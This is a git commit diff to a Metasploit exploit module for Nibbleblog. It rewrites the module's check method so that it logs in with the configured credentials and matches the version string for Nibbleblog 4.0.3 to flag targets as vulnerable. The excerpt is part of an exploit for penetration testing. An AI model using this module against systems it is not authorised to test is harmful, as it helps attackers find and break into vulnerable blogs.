Fix check method.

bug/bundler_fix
Roberto Soares 2015-09-10 03:56:46 -03:00
parent 4e31dd4e9f
commit 4566f47ac5
1 changed files with 20 additions and 12 deletions

View File

@ -45,18 +45,6 @@ class Metasploit3 < Msf::Exploit::Remote
], self.class)
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin.php')
)
if res && res.code == 200 && res.body.include?('Sign in to Nibbleblog admin area')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def username
datastore['USERNAME']
end
@ -65,6 +53,26 @@ class Metasploit3 < Msf::Exploit::Remote
datastore['PASSWORD']
end
def check
cookie = do_login(username, password)
return Exploit::CheckCode::Detected unless cookie
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin.php'),
'cookie' => cookie,
'vars_get' => {
'controller' => 'settings',
'action' => 'general'
}
)
if res && res.code == 200 && res.body.include?('Nibbleblog 4.0.3 "Coffee"')
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def do_login(user, pass)
res = send_request_cgi(
'method' => 'GET',